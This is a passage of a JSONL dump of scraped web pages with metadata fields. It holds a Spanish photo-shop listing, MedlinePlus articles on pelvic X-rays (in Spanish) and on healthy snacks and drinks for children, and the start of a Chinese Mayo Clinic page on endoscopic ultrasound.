Relacionadas con Cigue\u00f1as al amanecer\nAves en la laguna\nDueto\nAbejarucos con disputas\nEl ocaso en la marisma\nAmanece en la dehesa de do\u00f1ana\nVuelo al atardecer\nFlamencos bajo la niebla\nCisternas de la bas\u00edlica estambul\nAmanece en la marisma de do\u00f1ana 4\nEl dorado\nJugando con el barrido\nVolando por la marisma de do\u00f1ana\nVER M\u00c1S RELACIONADOS\n60\u20ac\nIVA INC.\nMi\u00e9rcoles, 11 Febrero\nComprar\nCARLOS ROMERO\n\n650 977 988\nCAT\u00c1LOGO\nFotograf\u00edas de Naturaleza\nTienda Online\nTalleres y cursos Fotogr\u00e1ficos\nLEGAL\nSobre Carlos Romero\nCondiciones de compra\nPrivacidad y Cookies\nAvisos legales\nTarifas de envio\nDevoluciones\nCarlos Photo Nature \u00a9 2026. All Rights Reserved.\nTu privacidad es importante para nosotros\nUtilizamos cookies propias y de terceros para mejorar nuestros servicios con fines anal\u00edticos, para la prestaci\u00f3n de otros servicios relacionados con la actividad del sitio web y otros servicios de Internet. Para aceptar su uso, deber\u00e1 pulsar en ACEPTO. As\u00ed mismo, puede configurar o rechazar el uso de cookies pulsando en CONFIGURACI\u00d3N. Para obtener m\u00e1s informaci\u00f3n sobre el uso de las cookies y sus derechos, acceda a nuestra Pol\u00edtica de Cookies.\nConfiguraci\u00f3n Rechazar Aceptar\nGestione su Consentimiento\nT\u00e9cnicas y Funcionales:\nACTIVAS\nAnal\u00edticas:\nT\u00e9cnicas y Funcionales:\nEstr\u00edctamente necesarias para el uso del sitio web y para la prestaci\u00f3n del servicio contratado.\nAnal\u00edticas:\nRecogen informaci\u00f3n del uso que se realiza en la p\u00e1gina web.\nGuardar\nVista Previa del Video\n\u00d7\nYour browser does not support the video tag.\n\u00d7\n* Email\n* PreguntaRespuesta\nEnviar", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/2baa80b0-404d-40ee-ad57-0bbdb2e2e73e", "content_hash": "e3d885981c6d0a8058fd3eebd0f843002ad52bc03ba5e766ee7c7e93d15663d7", "created_at": "2026-03-28T05:10:45.841355114Z"} +{"id": "443b8242-ac8d-4938-90ec-67f8f4a2a778", "source": "brain", "text": "Radiograf\u00eda de la pelvis: MedlinePlus enciclopedia m\u00e9dica\n\nRadiograf\u00eda de la pelvis: MedlinePlus enciclopedia m\u00e9dica\nOmita y vaya al Contenido\nUn sitio oficial del Gobierno de Estados Unidos\nAs\u00ed es como usted puede verificarlo\nAs\u00ed es como usted puede verificarlo\nLos sitios web oficiales usan .gov\nUn sitio web .gov pertenece a una organizaci\u00f3n oficial del Gobierno de Estados Unidos.\nLos sitios web seguros .gov usan HTTPS\nUn candado ( Lock\nLocked padlock icon ) o https:// significa que usted se conect\u00f3 de forma segura a un sitio web .gov. Comparta informaci\u00f3n sensible s\u00f3lo en sitios web oficiales y seguros.\nBiblioteca Nacional de Medicina\nMen\u00fa\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nAcerca de MedlinePlus\nB\u00fasqueda\nBusque en MedlinePlus\nBUSCAR\nAcerca de MedlinePlus\nQu\u00e9 hay de nuevo\n\u00cdndice\nCont\u00e1ctenos\nTemas de salud\nMedicinas y suplementos\nGen\u00e9tica\nPruebas m\u00e9dicas\nEnciclopedia m\u00e9dica\nEnglish\nUsted est\u00e1 aqu\u00ed:\nP\u00e1gina Principal \u2192\nEnciclopedia m\u00e9dica \u2192\nRadiograf\u00eda de la pelvis\nDirecci\u00f3n de esta p\u00e1gina: //medlineplus.gov/spanish/ency/article/003809.htm\nRadiograf\u00eda de la pelvis\nPara usar las funciones de compartir de esta p\u00e1ginas, por favor, habilite JavaScript.\nUna radiograf\u00eda de la pelvis es una imagen de los huesos de ambas caderas y alrededor de ellas. La pelvis conecta las piernas al cuerpo.\nForma en que se realiza el examen\nEl examen lo realiza un t\u00e9cnico en rayos X en una sala de radiolog\u00eda o en el consultorio del proveedor de atenci\u00f3n m\u00e9dica.\nUsted se acostar\u00e1 sobre la mesa. Luego se toman las radiograf\u00edas. Es posible que tenga que mover su cuerpo a otras posiciones para proporcionar diferentes planos.\nPreparaci\u00f3n para el examen\nInf\u00f3rmele al proveedor si est\u00e1 embarazada. Qu\u00edtese todas las joyas, especialmente alrededor del abdomen y las piernas. Usted usar\u00e1 una bata de hospital.\nLo que se siente durante el examen\nLas radiograf\u00edas son indoloras. Cambiar de posici\u00f3n puede causar molestias.\nRazones por las que se realiza el examen\nLa radiograf\u00eda se utiliza para detectar:\nFracturas\nTumores\nAfecciones degenerativas de los huesos en la cadera, la pelvis y la parte superior de las piernas\nForma anormal de los huesos o articulaciones\nSignificado de los resultados anormales\nLos resultados anormales pueden sugerir:\nFracturas p\u00e9lvicas\nArtritis de la articulaci\u00f3n de la cadera\nTumores de los huesos de la pelvis\nSacroilitis (inflamaci\u00f3n de la zona donde el sacro se une con el hueso ilion)\nEspondilitis anquilosante (rigidez anormal de la columna y la articulaci\u00f3n)\nArtritis en la columna baja\nAnormalidad en la forma de la pelvis o la articulaci\u00f3n de la cadera\nRiesgos\nLos ni\u00f1os y los fetos de mujeres embarazadas son m\u00e1s sensibles a la radiaci\u00f3n de las radiograf\u00edas. Se puede utilizar un escudo protector sobre las zonas que no se est\u00e1n examinando o se pueden utilizar otras modalidades de diagn\u00f3stico por imagen.\nNombres alternativos\nRadiograf\u00eda - pelvis\nIm\u00e1genes\nSacro\nAnatom\u00eda esquel\u00e9tica anterior\nReferencias\nBeebe MJ. Fractures of the acetabulum and pelvis. In: Azar FM, Beaty JH, eds. Campbell's Operative Orthopaedics. 14th ed. Philadelphia, PA: Elsevier; 2021:chap 56.\nKapoor G, Toms AP. Current status of imaging of the musculoskeletal system. In: Adam A, Dixon AK, Gillard JH, Schaefer-Prokop CM, eds. Grainger & Allison's Diagnostic Radiology: A Textbook of Medical Imaging. 7th ed. Philadelphia, PA: Elsevier; 2021:chap 38.\nWilliams KD. Spondylolisthesis. In: Azar FM, Beaty JH, eds. Campbell's Operative Orthopaedics. 14th ed. Philadelphia, PA: Elsevier; 2021:chap 40.\nUltima revisi\u00f3n 4/1/2025\nVersi\u00f3n en ingl\u00e9s revisada por: Jason Levy, MD, FSIR, Northside Radiology Associates, Atlanta, GA. Also reviewed by David C. Dugdale, MD, Medical Director, Brenda Conaway, Editorial Director, and the A.D.A.M. Editorial team.\nTraducci\u00f3n y localizaci\u00f3n realizada por: DrTango, Inc.\nConozca c\u00f3mo citar esta p\u00e1gina\nTemas de salud relacionados\nChequeo m\u00e9dico de la mujer\nDolor p\u00e9lvico\nEspondilitis anquilosante\nLesiones y enfermedades de la cadera\nLesiones y enfermedades de la pierna\nRayos X\nHealth Content Provider\n06/01/2028\nA.D.A.M., Inc. est\u00e1 acreditada por la URAC, tambi\u00e9n conocido como American Accreditation HealthCare Commission (www.urac.org). La acreditaci\u00f3n de la URAC es un comit\u00e9 auditor independiente para verificar que A.D.A.M. cumple los rigurosos est\u00e1ndares de calidad e integridad. A.D.A.M. es una de las primeras empresas en alcanzar esta tan importante distinci\u00f3n en servicios de salud en la red. Conozca m\u00e1s sobre la politica editorial, el proceso editorial, y la poliza de privacidad de A.D.A.M.\nLa informaci\u00f3n aqu\u00ed proporcionada no debe utilizarse durante ninguna emergencia m\u00e9dica ni para el diagn\u00f3stico o tratamiento de ninguna afecci\u00f3n m\u00e9dica. Se debe consultar a un profesional m\u00e9dico autorizado para el diagn\u00f3stico y tratamiento de cualquiera y todas las afecciones m\u00e9dicas. Los enlaces a otros sitios se proporcionan \u00fanicamente con fines informativos; no constituyen una recomendaci\u00f3n de dichos sitios. No se ofrece garant\u00eda alguna, expresa ni impl\u00edcita, en cuanto a la precisi\u00f3n, fiabilidad, puntualidad o exactitud de las traducciones realizadas por un servicio externo de la informaci\u00f3n aqu\u00ed proporcionada a cualquier otro idioma.\n\u00a9 1997- 2026 A.D.A.M., una unidad de negocio de Ebix, Inc. Queda estrictamente prohibida la duplicaci\u00f3n o distribuci\u00f3n de la informaci\u00f3n aqu\u00ed contenida.\nTodo el contenido de este sitio, incluyendo texto, im\u00e1genes, gr\u00e1ficos, audio, video, datos, metadatos y compilaciones, est\u00e1 protegido por derechos de autor y otras leyes de propiedad intelectual. Usted puede ver el contenido para uso personal y no comercial. Cualquier otro uso requiere el consentimiento previo por escrito de Ebix. Usted no puede copiar, reproducir, distribuir, transmitir, mostrar, publicar, realizar ingenier\u00eda inversa, adaptar, modificar, almacenar m\u00e1s all\u00e1 del almacenamiento en cach\u00e9 habitual del navegador, indexar, hacer miner\u00eda de datos, extraer o crear obras derivadas de este contenido. Usted no puede utilizar herramientas automatizadas para acceder o extraer contenido, incluyendo la creaci\u00f3n de incrustaciones, vectores, conjuntos de datos o \u00edndices para sistemas de recuperaci\u00f3n. Se proh\u00edbe el uso de cualquier contenido para entrenar, ajustar, calibrar, probar, evaluar o mejorar sistemas de inteligencia artificial (IA) de cualquier tipo sin el consentimiento expreso por escrito. Esto incluye modelos de lenguaje grandes, modelos de aprendizaje autom\u00e1tico, redes neuronales, sistemas generativos, sistemas de recuperaci\u00f3n aumentada y cualquier software que ingiera contenido para producir resultados. Cualquier uso no autorizado del contenido, incluyendo el uso relacionado con la IA, constituye una violaci\u00f3n de nuestros derechos y puede dar lugar a acciones legales, da\u00f1os y sanciones legales en la medida en que lo permita la ley. Ebix se reserva el derecho de hacer valer sus derechos mediante medidas legales, tecnol\u00f3gicas y contractuales.\nAcerca de MedlinePlus\nQu\u00e9 hay de nuevo\n\u00cdndice\nCont\u00e1ctenos\nRSS\nExenciones\nDerechos de autor\nPol\u00edtica de privacidad\nAccesibilidad\nPautas para enlaces\nVisores y reproductores\nHHS Divulgaci\u00f3n de Vulnerabilidad\nNational Library of Medicine 8600 Rockville Pike, Bethesda, MD 20894 U.S. Department of Health and Human Services National Institutes of Health", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/443b8242-ac8d-4938-90ec-67f8f4a2a778", "content_hash": "8b12ccb64720aaceefc6844d5b7970634c8723c84c166df8f4b37325876f32fe", "created_at": "2026-03-28T05:10:43.951628961Z"} +{"id": "8459be5b-002e-44e4-87e8-1ff515046081", "source": "brain", "text": "Snacks and sweetened drinks - children: MedlinePlus Medical Encyclopedia\n\nSnacks and sweetened drinks - children: MedlinePlus Medical Encyclopedia\nSkip navigation\nAn official website of the United States government\nHere\u2019s how you know\nHere\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nLocked padlock icon ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nNational Library of Medicine\nThe navigation menu has been collapsed.\nMenu\nHealth Topics\nDrugs & Supplements\nGenetics\nMedical Tests\nMedical Encyclopedia\nAbout MedlinePlus\nShow Search\nSearch MedlinePlus\nGO\nAbout MedlinePlus\nWhat's New\nSite Map\nCustomer Support\nHealth Topics\nDrugs & Supplements\nGenetics\nMedical Tests\nMedical Encyclopedia\nEspa\u00f1ol\nYou Are Here:\nHome \u2192\nMedical Encyclopedia \u2192\nSnacks and sweetened drinks - children\nURL of this page: //medlineplus.gov/ency/patientinstructions/000351.htm\nSnacks and sweetened drinks - children\nTo use the sharing features on this page, please enable JavaScript.\nChoosing healthy snacks and drinks for your children can be hard. There are many options. What is healthy for your child may depend on specific health conditions they have.\nSnacks\nFruits and vegetables are good choices for healthy snacks. They are full of vitamins and do not have added sugar or sodium. Some types of crackers and cheeses also make good snacks. Other healthy snack choices include:\nApples (fresh and cut into wedges or dried without added sugars)\nBananas\nTrail mix with raisins and unsalted nuts\nChopped fruit dipped in yogurt\nRaw vegetables with hummus\nCarrots (regular carrots cut into strips so they are easy to chew, or baby carrots)\nSnap peas (the pods are edible)\nNuts (if your child is not allergic)\nDry cereal (if sugar is not listed as one of the first 2 ingredients)\nPretzels\nString cheese\nPut snacks in small containers so they are easy to carry in a pocket or backpack. Use small containers to help avoid overly large portions.\nAvoid having \"junk food\" snacks like chips, candy, cake, cookies, and ice cream every day. It is easier to keep kids away from these foods if you do not have them in your house and they are a special treat instead of an everyday item.\nIt is OK to let your child have an unhealthy snack once in a while. Children may try to sneak unhealthy food if they are never allowed to have these foods. The key is balance.\nOther things you can do include:\nReplace your candy dish with a fruit bowl.\nIf you have foods like cookies, chips, or ice cream in your house, store them where they are hard to see or reach. Move healthier foods to the front of the pantry and refrigerator, at eye level.\nIf your family snacks while watching TV, put a portion of the food in a bowl or on a plate for each person. It is easy to overeat straight from the package.\nIf you are not sure if a snack is healthy, read the Nutrition Facts label.\nLook closely at the portion size on the label. It is easy to eat more than this amount.\nAvoid snacks that list sugar as one of the first ingredients.\nTry to choose snacks without added sugar or added sodium.\nBeverages\nEncourage children to drink a lot of water.\nAvoid sodas, sport drinks, and flavored waters.\nLimit drinks with added sugar. These may be high in calories and can contribute to undesired weight gain.\nPrepare fruit infused water by steeping strawberries or orange slices in a pitcher for a few hours. You will get a flavored drink with virtually no sugar.\nIf needed, choose beverages with artificial (man-made) sweeteners.\nEven 100% juices can lead to undesired weight gain. A child drinking a 12-ounce (360 milliliters) orange juice every day, in addition to other foods, can gain up to 15 excess pounds (7 kilograms) per year in addition to weight gain from normal growth patterns. Try diluting juices and flavored drinks with water. Start by adding only a little water. Then slowly increase the amount.\nChildren ages 1 to 6 should drink no more than 4 to 6 ounces (120 to 180 milliliters) of 100% fruit juice a day.\nChildren ages 7 to 18 should drink no more than 8 to 12 ounces (240 to 360 milliliters) of 100% fruit juice a day.\nChildren, ages 2 to 8, should drink about 2 cups (480 milliliters) of milk a day. Children older than 8 should have about 3 cups (720 milliliters) a day. It may be helpful to serve milk with meals and water between meals and with snacks.\nOther Tips to Keep in Mind\nThe size of a snack should be the right size for your child. For example, give one half a banana to a 2-year-old and a whole banana to a 10-year-old.\nPick foods that are high in fiber and low in added salt and sugar.\nOffer children fruits, vegetables, and whole-grain snacks instead of sweets.\nFoods that are naturally sweet (such as apple slices, bananas, bell peppers, or baby carrots) are better than foods and drinks that contain added sugar.\nLimit fried foods like French fries, onion rings, and other fried snacks.\nTalk to a nutritionist or your family's health care provider if you need ideas for healthy foods for your family.\nImages\nFruits and vegetables\nReferences\nBarrett KJ, Gilley SP, Haemer MA, Krebs NF, Johnson SL. Feeding healthy infants, children, and adolescents. In: Kliegman RM, St. Geme JW, Blum NJ, et al, eds. Nelson Textbook of Pediatrics. 22nd ed. Philadelphia, PA: Elsevier; 2025:chap 61.\nGahagan S. Overweight and obesity. In: Kliegman RM, St. Geme JW, Blum NJ, et al, eds. Nelson Textbook of Pediatrics. 22nd ed. Philadelphia, PA: Elsevier; 2025:chap 65.\nReview Date 4/1/2025\nUpdated by: Stefania Manetti, RDN, CDCES, RYT200, My Vita Sana LLC - Nourish and heal through food, San Jose, CA. Review provided by VeriMed Healthcare Network. Also reviewed by David C. Dugdale, MD, Medical Director, Brenda Conaway, Editorial Director, and the A.D.A.M. Editorial team.\nLearn how to cite this page\nBrowse the Encyclopedia\nHealth Content Provider\n06/01/2028\nA.D.A.M., Inc. is accredited by URAC, for Health Content Provider (www.urac.org). URAC's accreditation program is an independent audit to verify that A.D.A.M. follows rigorous standards of quality and accountability. A.D.A.M. is among the first to achieve this important distinction for online health information and services. Learn more about A.D.A.M.'s editorial policy, editorial process, and privacy policy.\nThe information provided herein should not be used during any medical emergency or for the diagnosis or treatment of any medical condition. A licensed medical professional should be consulted for diagnosis and treatment of any and all medical conditions. Links to other sites are provided for information only -- they do not constitute endorsements of those other sites. No warranty of any kind, either expressed or implied, is made as to the accuracy, reliability, timeliness, or correctness of any translations made by a third-party service of the information provided herein into any other language.\n\u00a9 1997- 2026 A.D.A.M., a business unit of Ebix, Inc. Any duplication or distribution of the information contained herein is strictly prohibited.\nAll content on this site including text, images, graphics, audio, video, data, metadata, and compilations is protected by copyright and other intellectual property laws. You may view the content for personal, noncommercial use. Any other use requires prior written consent from Ebix. You may not copy, reproduce, distribute, transmit, display, publish, reverse-engineer, adapt, modify, store beyond ordinary browser caching, index, mine, scrape, or create derivative works from this content. You may not use automated tools to access or extract content, including to create embeddings, vectors, datasets, or indexes for retrieval systems. Use of any content for training, fine-tuning, calibrating, testing, evaluating, or improving AI systems of any kind is prohibited without express written consent. This includes large language models, machine learning models, neural networks, gen", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/8459be5b-002e-44e4-87e8-1ff515046081", "content_hash": "77634a76d0ef452a18d2a03d977b4abdc0cbeae46d520b0f6d66d8d2f1870a1a", "created_at": "2026-03-28T05:10:43.875482395Z"} +{"id": "fb977008-fca1-4d58-9e12-dc0cf0e719b2", "source": "brain", "text": "\u5185\u955c\u8d85\u58f0 - \u533b\u751f\u4e0e\u79d1\u5ba4 - \u5999\u4f51\u533b\u7597\u56fd\u9645\n\n\u5185\u955c\u8d85\u58f0 - \u533b\u751f\u4e0e\u79d1\u5ba4 - \u5999\u4f51\u533b\u7597\u56fd\u9645\n\u8fd9\u90e8\u5206\u5185\u5bb9\u6ca1\u6709\u82f1\u8bed\u7248\u672c\u3002\n\u8fd9\u90e8\u5206\u5185\u5bb9\u6ca1\u6709\u963f\u62c9\u4f2f\u8bed\u7248\u672c\u3002\nSkip to content\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7684\u533b\u7597\u62a4\u7406\n\u4ee5\u60a3\u8005\u4e3a\u4e2d\u5fc3\u7684\u62a4\u7406\n\u5173\u4e8e\u5999\u4f51\u533b\u7597\u56fd\u9645\n\u7533\u8bf7\u7ea6\u8bca\n\u67e5\u627e\u533b\u751f\n\u9662\u533a\u5730\u70b9\n\u4e34\u5e8a\u8bd5\u9a8c\n\u8054\u7cfb\u652f\u52a9\u56e2\u4f53\n\u60a3\u8005\u4e0e\u8bbf\u5ba2\u6307\u5357\n\u8d26\u5355\u4e0e\u4fdd\u9669\n\u79d1\u5ba4 & \u4e2d\u5fc3\n\u56fd\u9645\u670d\u52a1\n\u8054\u7cfb\u6211\u4eec\n\u60a3\u8005\u4e0e\u8bbf\u5ba2\u6307\u5357\n\u5065\u5eb7\u8d44\u6599\u5e93\n\u75be\u75c5 & \u72b6\u51b5\n\u75c7\u72b6\n\u533b\u5b66\u68c0\u67e5 & \u533b\u7597\u7a0b\u5e8f\n\u836f\u7269 & \u8865\u5145\u5242\n\u5065\u5eb7\u751f\u6d3b\u65b9\u5f0f\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u5065\u5eb7\u901a\u8baf\u548c\u4e66\u7c4d\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u5065\u5eb7\u901a\u8baf\u548c\u4e66\u7c4d\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\u8d44\u6e90\n\u8f6c\u8bca\u60a3\u8005\n\u7ee7\u7eed\u533b\u5b66\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u68c0\u6d4b\n\u89c6\u9891\u4e2d\u5fc3\n\u671f\u520a\u6587\u732e\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u6821\u53cb\u4f1a\n\u7ee7\u7eed\u533b\u5b66\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7814\u7a76\u4e0e\u6559\u80b2\n\u7814\u7a76\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7814\u7a76\u9879\u76ee\n\u7814\u7a76\u578b\u6559\u804c\u5458\u5de5\n\u5b9e\u9a8c\u5ba4\n\u6838\u5fc3\u8bbe\u65bd\n\u4e2d\u5fc3 & \u9879\u76ee\n\u90e8\u95e8 & \u79d1\u5ba4\n\u4e34\u5e8a\u8bd5\u9a8c\n\u673a\u6784\u5ba1\u67e5\u59d4\u5458\u4f1a\n\u535a\u58eb\u540e\u5956\u5b66\u91d1\n\u57f9\u8bad\u8d44\u52a9\u9879\u76ee\n\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u4e0e\u79d1\u5b66\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u751f\u7269\u533b\u5b66\u7814\u7a76\u751f\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u827e\u5229\u514b\u65af\u533b\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u6559\u80b2\u7814\u7a76\u751f\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u536b\u751f\u79d1\u5b66\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u4e13\u4e1a\u7ee7\u7eed\u53d1\u5c55\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u4e0e\u79d1\u5b66\u5b66\u9662\n\u7533\u8bf7\u7ea6\u8bca\n\u6177\u6168\u6350\u8d60\n\u767b\u5f55\n\u641c\u7d22\n\u83dc\u5355\n\u8981\u6c42\u9884\u7ea6\n\u6350\n\u75be\u75c5\u548c\u72b6\u51b5\n\u627e\u533b\u751f\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7684\u533b\u7597\u62a4\u7406\n\u4ee5\u60a3\u8005\u4e3a\u4e2d\u5fc3\u7684\u62a4\u7406\n\u5173\u4e8e\u5999\u4f51\u533b\u7597\u56fd\u9645\n\u7533\u8bf7\u7ea6\u8bca\n\u67e5\u627e\u533b\u751f\n\u9662\u533a\u5730\u70b9\n\u4e34\u5e8a\u8bd5\u9a8c\n\u8054\u7cfb\u652f\u52a9\u56e2\u4f53\n\u60a3\u8005\u4e0e\u8bbf\u5ba2\u6307\u5357\n\u8d26\u5355\u4e0e\u4fdd\u9669\n\u79d1\u5ba4 & \u4e2d\u5fc3\n\u56fd\u9645\u670d\u52a1\n\u8054\u7cfb\u6211\u4eec\n\u5173\u4e8e\u6885\u5965\u8bca\u6240\n\u5065\u5eb7\u8d44\u6599\u5e93\n\u75be\u75c5 & \u72b6\u51b5\n\u75c7\u72b6\n\u533b\u5b66\u68c0\u67e5 & \u533b\u7597\u7a0b\u5e8f\n\u836f\u7269 & \u8865\u5145\u5242\n\u5065\u5eb7\u751f\u6d3b\u65b9\u5f0f\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u5065\u5eb7\u901a\u8baf\u548c\u4e66\u7c4d\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u5065\u5eb7\u901a\u8baf\u548c\u4e66\u7c4d\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\n\u533b\u7597\u4e13\u4e1a\u4eba\u5458\u8d44\u6e90\n\u8f6c\u8bca\u60a3\u8005\n\u7ee7\u7eed\u533b\u5b66\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u68c0\u6d4b\n\u89c6\u9891\u4e2d\u5fc3\n\u671f\u520a\u6587\u732e\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u6821\u53cb\u4f1a\n\u7ee7\u7eed\u533b\u5b66\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7814\u7a76\u4e0e\u6559\u80b2\n\u7814\u7a76\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7814\u7a76\u9879\u76ee\n\u7814\u7a76\u578b\u6559\u804c\u5458\u5de5\n\u5b9e\u9a8c\u5ba4\n\u6838\u5fc3\u8bbe\u65bd\n\u4e2d\u5fc3 & \u9879\u76ee\n\u90e8\u95e8 & \u79d1\u5ba4\n\u4e34\u5e8a\u8bd5\u9a8c\n\u673a\u6784\u5ba1\u67e5\u59d4\u5458\u4f1a\n\u535a\u58eb\u540e\u5956\u5b66\u91d1\n\u57f9\u8bad\u8d44\u52a9\u9879\u76ee\n\u6559\u80b2\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u4e0e\u79d1\u5b66\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u751f\u7269\u533b\u5b66\u7814\u7a76\u751f\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u827e\u5229\u514b\u65af\u533b\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u533b\u5b66\u6559\u80b2\u7814\u7a76\u751f\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u536b\u751f\u79d1\u5b66\u5b66\u9662\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u4e13\u4e1a\u7ee7\u7eed\u53d1\u5c55\u5b66\u9662\n\u6885\u5965\u8bca\u6240\u533b\u5b66\u4e0e\u79d1\u5b66\u5b66\u9662\n\u5411 \u5999\u4f51\u533b\u7597\u56fd\u9645 \u6350\u6b3e\n\u7acb\u523b\u4f38\u51fa\u63f4\u624b\n\u5411 \u5999\u4f51\u533b\u7597\u56fd\u9645 \u6350\u6b3e\n\u5e38\u89c1\u95ee\u7b54\n\u8054\u7cfb\u6211\u4eec\uff0c\u8fdb\u884c\u6350\u52a9\n\u7acb\u523b\u4f38\u51fa\u63f4\u624b\n\u533b\u5b66\u68c0\u67e5\u4e0e\u533b\u7597\u7a0b\u5e8f\n\u5185\u955c\u8d85\u58f0\n\u9884\u7ea6\u95e8\u8bca\n\u5173\u4e8e\n\u533b\u751f\u4e0e\u79d1\u5ba4\n\u5728 Mayo Clinic \u6cbb\u7597\n\u6253\u5370\n\u79d1\u5ba4\u4e0e\u4e13\u5bb6\u95e8\u8bca\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u662f\u7f8e\u56fd\u89c4\u6a21\u6700\u5927\u3001\u7ecf\u9a8c\u6700\u4e30\u5bcc\u7684\u533b\u7597\u673a\u6784\u4e4b\u4e00\uff0c\u5728\u4e9a\u5229\u6851\u90a3\u5dde\u3001\u4f5b\u7f57\u91cc\u8fbe\u5dde\u548c\u660e\u5c3c\u82cf\u8fbe\u5dde\u90fd\u8bbe\u6709\u9662\u533a\u3002\u6211\u4eec\u7684\u5de5\u4f5c\u4eba\u5458\u6d89\u53ca\u6570\u5341\u79cd\u4e13\u4e1a\uff0c\u901a\u8fc7\u9f50\u5fc3\u534f\u529b\u786e\u4fdd\u9ad8\u54c1\u8d28\u6cbb\u7597\u4e0e\u6210\u529f\u5eb7\u590d\u3002\n\u6709\u76f8\u5173\u4e13\u957f\u7684\u79d1\u5ba4\n\u5999\u4f51\u533b\u7597\u56fd\u9645\u7684\u764c\u75c7\u62a4\u7406\n\u5c0f\u513f\u8840\u6db2\u79d1/\u80bf\u7624\u79d1\n\u65e9\u53d1\u6027\u548c\u9057\u4f20\u6027\u6d88\u5316\u9053\u764c\u75c7\u9879\u76ee\n\u65e9\u53d1\u6027\u7ed3\u76f4\u80a0\u764c\u5c0f\u7ec4\n\u7f57\u5207\u65af\u7279\u9662\u533a\u521b\u4f24\u3001\u91cd\u75c7\u533b\u62a4\u548c\u666e\u5916\u79d1\n\u80c3\u80a0\u75c5\u79d1\u548c\u809d\u75c5\u79d1\n\u884c\u6b64\u624b\u672f\u7684\u533b\u751f\n\u7f16\u8f91\u641c\u7d22\u8fc7\u6ee4\u6761\u4ef6\nclose\n\u7f29\u5c0f\u641c\u7d22\u8303\u56f4\n\u6839\u636e\u5730\u70b9\n\u4e9a\u5229\u6851\u90a3\u5dde\u51e4\u51f0\u57ce/\u65af\u79d1\u8328\u4ee3\u5c14\n\u6309\u59d3\u6c0f\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f A A\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f B B\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f C C\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f D D\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f E E\n\u4e3b\u52a8 \u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f F F\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f G G\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f H H\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f I I\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f J J\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f K K\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f L L\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f M M\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f N N\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f O O\n\u67e5\u627e\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f P P\n\u672a\u627e\u5230\u59d3\u6c0f\u4ee5\u8be5\u5b57\u6bcd\u5f00\u5934\u7684\u533b\u751f Q 